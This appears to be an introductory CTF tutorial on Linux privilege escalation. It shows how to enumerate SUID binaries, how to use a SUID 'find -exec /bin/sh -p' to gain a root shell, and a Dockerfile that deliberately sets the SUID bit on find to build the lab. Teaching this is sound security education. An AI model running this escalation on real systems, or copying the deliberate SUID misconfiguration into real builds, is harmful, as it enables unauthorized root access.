RedSec
CTFs

Linux privesc: SUID

A worked challenge — find an unexpected SUID binary and turn it into a root shell.

intro tutorial

A classic CTF privesc: you land as a low-privilege user and need root to read the flag. SUID binaries are the first place to look.

Background

A SUID (“set user ID”) binary runs with the privileges of its owner, not the user who launched it. When that owner is root, an exploitable binary becomes a root shell.

Enumerate

Find SUID binaries
find / -perm -4000 2>/dev/null
  • -perm -4000 matches files whose bits include the SUID bit.
  • 2>/dev/null hides the Permission denied noise.

Expected binaries (passwd, mount, sudo) are fine. Look for the odd one out — something that can spawn a shell:

Example results
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find

find shouldn’t be SUID. Per GTFOBins, a SUID find runs commands via -exec.

Exploit

SUID find → root shell
find . -exec /bin/sh -p \; -quit

The -p flag keeps the elevated privileges instead of dropping them. Confirm and grab the flag:

Terminal window
id
cat /root/flag.txt

Build it yourself

Dockerfile
FROM debian:stable-slim
RUN useradd -m student && echo 'redsec{suid_is_a_privilege}' > /root/flag.txt \
 && chmod 600 /root/flag.txt && chmod u+s /usr/bin/find
USER student
CMD ["/bin/bash"]